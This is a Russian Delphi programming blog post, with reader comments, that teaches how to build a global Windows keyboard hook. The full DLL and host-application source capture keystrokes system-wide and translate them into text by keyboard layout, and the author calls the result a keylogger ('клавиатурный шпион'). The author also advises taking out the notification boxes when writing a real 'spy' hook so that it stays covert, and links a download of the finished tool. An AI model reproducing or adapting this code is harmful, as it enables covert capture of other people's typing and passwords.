Подписка

Проекты

Сборник идей для разработок в Delphi и использования их в Интернет. Участвуй в работе коллективного разума!

Google API в Delphi - проект с открытым исходным кодом.


А тут я коплю на лицензию Delphi 2011. Сумма пожертвования не фиксирована.

Друзья блога

Блоги и сообщества

DelphiFeeds.ru - Все Delphi-блоги Рунета О раскрутке блога по программированию Сообщество умных людей VR-Online.RU Бесплатный журнал для программистов и всех, кто интересуется IT Статьи и уроки по Delphi Статьи по Delphi

Счётчики


Анализ веб сайтов

Рейтинг блогов




Система Orphus

  • 17Oct

    Сегодня снова вернемся к вопросу о ловушках и посмотрим их реализацию в том виде, в котором можно читать текст, набранный в любом приложении, а не просто просмотреть виртуальный и скан-код клавиши.

    В прошлый раз мы рассмотрели простейший из всех известных мне примеров применения ловушек в Windows. И остановились на том, что ловушка сама писала данные о нажатых клавишах в текстовый файл. ' '
    С точки зрения устойчивости такой ловушки можно сказать, что Вам очень сильно повезет, если такая ловушка ни разу не даст сбой в работе и не повесится сама или не повесит систему. Сам по себе процесс записи/чтения в файл достаточно медленный и кто знает успеет ли ловушка отработать до конца эту процедуру и не пропустить сообщение мимо своих “ушей”.
    Более разумно в таких случаях использовать следующий алгоритм обработки:

    1. Регистрируем ловушку в системе
    2. Ловушка перехватывает все сообщения от клавиатуры и переправляет их в основную программу через сообщения
    3. Основная программа проводит дополнительную обработку данных: переводит значения LParam и WParam в символы, пишет файл и т.д. и т.п. в общем всё, что Вашей душе угодно.

    Попробуем реализовать подобный алгоритм сегодня. Итак, пишем ловушку.

    1. DLL для перехвата сообщений клавиатуры

    Чтобы сильно не нагружать нашу библиотеку лишними операциями, реализуем в ней всего две простые функции:

    • загрузки/выгрузки библиотеки
    • непосредственно перехват и пересылка сообщений в основную программу

    Рассмотрим листинг такой динамической библиотеки:

    library HookLib;
    
    uses
    SysUtils,Windows,Messages, Ariphm;
    
    const
    HookMsg = WM_USER+$125;
    
    var
    CurHook:HWND;
    
    function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
    var AppWnd:HWND;
    Begin
      if code < 0 then
        Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
      else
        begin
          if Byte(LParam shr 24)<$80 then
            begin
              AppWnd:= FindWindow(nil, PChar('Перехватчик'));
              SendMessage(AppWnd,HookMsg,wParam, GetCurrentThreadId {lParam});
              Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
            end;
        end;
    end;
    
    procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
    begin
      if switch=true then
        begin
          CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
          if CurHook <> 0 then
            MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
          else
            MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
        end
      else
        begin
          if UnhookWindowsHookEx(CurHook) then
            MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
          else
            MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
        end;
    end;
    
    exports hook;
    begin
    end.

    Выглядит может и не эстетично, но тем не менее всё работает как положено. На что следует обратить внимание при разработке собственной ловушки?

    Во-первых, рассмотрим процедуру загрузки/выгрузки:

    procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
    begin
      if switch=true then
        begin
          CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
          if CurHook <> 0 then
            MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
          else
            MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
        end
      else
        begin
          if UnhookWindowsHookEx(CurHook) then
            MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
          else
            MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
        end;
    end;

    Так как мы пишем учебный пример, то я не поскупился и накидал здесь страшных и не очень сообщений, уведомляющих нас о состоянии библиотеки. Естественно, если вы будите писать настоящую “шпионскую” ловушку, то сообщения эти будут явно излишними, поэтому их следует убрать, а вместе с ними и удалить из uses модуль Messages. Так Вы сможете сохранить свою конспиративность и размер библиотеки после компиляции значительно уменьшится.

    Во-вторых, при разработке этой ловушки я использовал константу HookMsg при отправке нашей “шпионской посылки” в основную программу. Сделано это было, можно сказать, из лени :) В реальных условиях разработки такого делать не стоит, т.к. никто не дает вам гарантии, что в системе не найдется ещё одного пользовательского сообщения с таким же параметром. Поэтому следует воспользоваться следующим методам:

    RegisterWindowMessage(HookName: string)

    Эта функция регистрирует системное сообщение в Windows. Так Вы избежите неловких ситуаций с повторяющимися сообщениями.

    Теперь перейдем к самой главной функции – перехвату сообщений:

    function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
    var Wnd:HWND;
    Begin
      if code < 0 then
        Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
      else
        begin
          if Byte(LParam shr 24)<$80 then
            begin
              Wnd:= FindWindow(nil, PChar('Перехватчик'));
              SendMessage(Wnd,HookMsg,wParam, GetCurrentThreadId);
              Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
           end;
      end;
    end;

    Что здесь собственно происходит. Во первых при перехвате сообщения проверяется значение параметра Code. В случае, если параметр меньше нуля, то вызываем функцию CallNextHookEx и выходим из функции. Так советует делать справка Windows. Но дело в том, что Code в Win32 почему-то всегда возвращает значение не меньше нуля. Так что, если Вы планируете использовать свою ловушку в Win32, то в принципе эта проверка Вам не пригодится.
    Следующий шаг после проверки – поиск окно вызывающей программы.

    Wnd:= FindWindow(nil, PChar('Перехватчик'));

    т.е. я ищу зарегистрированный в системе элемент с заголовком “Перехватчик” и, если таковой находится, то пересылаю сообщение обычным способом:

    SendMessage(Wnd, HookMsg, wParam, GetCurrentThreadId);

    Обратите внимание на последний параметр. По всем правилам я должен бы был отправить вторым параметром lParam, а я чего-то отправляю значение функции. Забегая немного вперед скажу, что без пересылки идентификатора процесса у которого перехвачено сообщение, транслировать полученные значения виртуального и скан-кода клавиши в букву удастся в 50% случаев – когда пользователь пишет на латинице. Так как в lParam содержится (цитирую из справки по сообщениям Windows):

    lParamLo: Количество pаз, когда нажатие этой клавиши повтоpялось из-за фиксации
    ее в нажатом положении.
    LParamHi: Биты 0-7 в lParamHi являются scan-кодом клавиши, зависящим от OEM. Бит 8 pавен 1, если клавиша относится к pасшиpенным. Бит 13 pавен 1, если пpи нажатии клавиши нажималась клавиша Alt. Если клавиша уже была нажата до посылки этого сообщения, бит 14 pавен 1. Бит 15 pавен 1, если клавиша отпускается, и pавен 0, если нажимается.

    То есть получается, что в принципе мы можем пожертвовать этим параметром в пользу правильно трансляции кодов в буквы. Чем я и воспользовался.

    Для того, чтобы каждый код не отправлялся по 2 раза мы отправляем сообщение только в момент нажатия клавиши. Для этого осуществляется проверка:

    if Byte(LParam shr 24)<$80 then

    То есть значение LParam сдвигается на три байта вправо, младшим оказывается старший байт, затем число усекается до байта. Если в итоге оказывается, что старший бит в полученном байте равен 1 (то есть байт больше 127 = $7F), то это код отпускания, а мы забираем только код нажатия.
    Это обстоятельство (отлов только нажатий клавиши) очень часто упускается начинающими программистами и в результате получается, что каждая буква пишется в лог дважды. Ну, а Вам повезло больше, чем им – достаточно скачать модуль Ariphm и вы сможете проводить подобную проверку.

    С библиотекой разобрались. Теперь посмотрим, что происходит в основной программе.

    2. Разрабатываем приложение для чтения данных из ловушки

    Вид приложения у меня получился довольно аскетичный

    Перехватчик нажатых клавиш

    Но, вместе с тем, приложение имеет интуитивно понятный интерфейс :) Приложение загружает/выгружает ловушку и выводит в Memo набранный текст. Т.к. ловушка у нас глобальная, то в Memo будет транслироваться все, что вы наберете на клавиатуре пока загружена библиотека (даже если окно основной программы будет свернуто).
    Для того, чтобы наше приложение работало, ему необходимо знать, что за сообщение следует принимать. Для этого объявляем как и в библиотеке константу:

    const
    HookMsg = WM_USER+$125;

    Теперь экспортируем из DLL функцию:

    var
    Form2: TForm2;
    hDLL: THandle;
    Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;

    Загрузка библиотеки производится при нажатии на кнопку “Установить хук”:

    @hook:= nil;
    hDLL:= LoadLibrary(PChar('hook.dll'));
    @hook:=GetProcAddress(Hdll, 'hook');
    Hook(true, Form2.Handle);
    Соответственно выгрузка библиотеки проводится в обратном направлении:
    Hook(false, Form2.Handle);

    Самое интересное в вызывающей программе – это транслячия сообщения. Создаем метод для перехвата сообщений

    procedure WndProc(var Msg: TMessage); override;

    Листинг метода:

    procedure TForm2.WndProc(var Msg: TMessage);
    var SC: integer;
        buf: Char;
        KS: TKeyboardState;
        MyHKL: HKL;
    begin
    inherited ;
      if Msg.Msg = HookMsg then
        begin
          MyHKL:=GetKeyboardLayout(msg.LParam);
          SC:=MapVirtualKeyEx(Msg.WParam,MAPVK_VK_TO_VSC,MyHKL);
          GetKeyboardState(KS);
          ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
          Memo1.Text:=Memo1.Text+buf;
          MyHKL:=0;
        End;
    end;

    Отлавливаем наше сообщение и начинаем его преобразовывать в читабельный вид. Для того, чтобы понять как все это происходит я настоятельно Вам советую хотя бы вкратце ознакомиться с постом про Unicode. Вкратце суть работы процедуры такова:

    В параметре wParam сообщения нам поступает виртуальный код клавиши. Как мы уже говорили, виртуальный код и скан-код можно преобразовывать друг в друга функцией MapVirtualKey. Однако, в данном случае, мы не знаем в какой раскладке была нажата клавиша и для того, чтобы её (раскладку) узнать нам требуется знать в каком процессе происходила работа с клавиатурой и получить раскладку для этого процесса вызовом функции:

    MyHKL:=GetKeyboardLayout(msg.LParam);

    Теперь, я думаю, становится предельно ясно зачем мы в ловушке передавали вторым параметром идентификатор процесса. Именно для того, чтобы правильно определить раскладку. Ну, а зная раскладку, виртуальный и скан-код клавиши, мы можем легко транслировать  их в символ:

    ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);

    Конечно мы пренебрегаем в данном случае регистрами букв, т.к. принимаем TKeyboardState для вызывающей программы (что не совсем корректно), но зато можем транслировать как русский, так и любой другой символ, хоть иврит.

    И в конце обнуляем дескриптор:

    MyHKL:=0;

    Делать это необходимо. Иначе при каждом получении и обработке сообщения вы будете в догонку получать сообщение о критической ошибке.

    Ну, а результат работы программы может быть примерно следующим:

    Результат работы клавиатурного шпиона

    Как видите, в пользу правильного определения раскладки мы пожертвовали некоторыми возможностями, как то регистр букв, трансляция управляющих символов и отсеивание (или верная интерпретация) нажатий функциональных клавиш.
    Можно, конечно вместо сообщения переправлять в основную программу чётко определенную структуру, содержащую все необходимые данные, вплоть до состояния клавиатуры, но сегодняшняя цель поста от этого никак не зависит. Я лишь хотел показать и подчеркнуть, что в работе клавиатурных шпионов нет ничего сверхъестественного, скорее наоборот – они просты до безобразия.
    Если же у Вас всё-таки остались вопросы о работе подобных программ, то не стесняйтесь – спрашивайте. Постараюсь ответить более подробно или даже выделить ответ в отдельный пост блога.

    Скачать готовую ловушку и пример вызывающего приложения Вы можете здесь.

    Кстати, если Вам нужны другие библиотеки dll, например lame_enc.dll или любые другие библиотеки, то можете зайти на сайт DLL-Master и скачать необходимые библиотеки абсолютно бесплатно.

    Мой блог находят по следующим фразам

    Автор Vlad в 9:56 pm

    Метки: , , , , , ,

7 Comments

WP_Cloudy
  • jkeks пишет:

    Может быть автор расскажет как можно отловить просто нажатие клавишь, т.е. мне неважно какие клавиши нажимались, важно узнать что последний раз клавиши нажимались тогда-то.
    Спасибо

  • Vlad пишет:

    Это ещё проще. Чтобы узнать время последнего нажатия клавиши не требуется пересылать GetCurrentThreadId в сообщении. В этом случае обработку сообщения в основной программе можно, например, сделать вот так:
    procedure TForm2.WndProc(var Msg: TMessage);
    begin
    inherited ;
    if Msg.Msg = HookMsg then
    Memo1.Lines.Add('Последний раз клавиша нажималась '+DateTimeToStr(Now));
    end;

    То есть при получении сообщения выписываем текущую дату и время.

  • kostay пишет:

    программа  работает, отлавливает нажатия, шлет сообщения, только в некоторых приложениях шлет по несколько сообщений (например с word excel по 6 символов одновременно).  Как это можно исправить?

  • Виталий пишет:

    Не могли бы Вы подсказать как определить с помощью WM_KEYUP и WM_KEYDOWN время удержания клавиш клавиатуры.

  • Vlad пишет:

    Да по-момему никак не узнать время. Можно узнать “залипание” клавиши, когда кнопку нажали и не отпускают, но сейчас на вскидку вспомнить как это делается не могу :)

  • ded пишет:

    А какие модули надо подключитьь шоб запахало ато на 7 непашет

  • Vlad пишет:

    Все необходимые модули лежат на странице “Исходники”, кстати, пример писался именно в 7ке так что работать должен

Ваш ответ

Внимание: Все комментарии модерируются, и это может вызвать задержку их публикации. Отправлять комментарий заново не требуется.

Пожалуйста, заключайте исходный код в тэги [code][/code].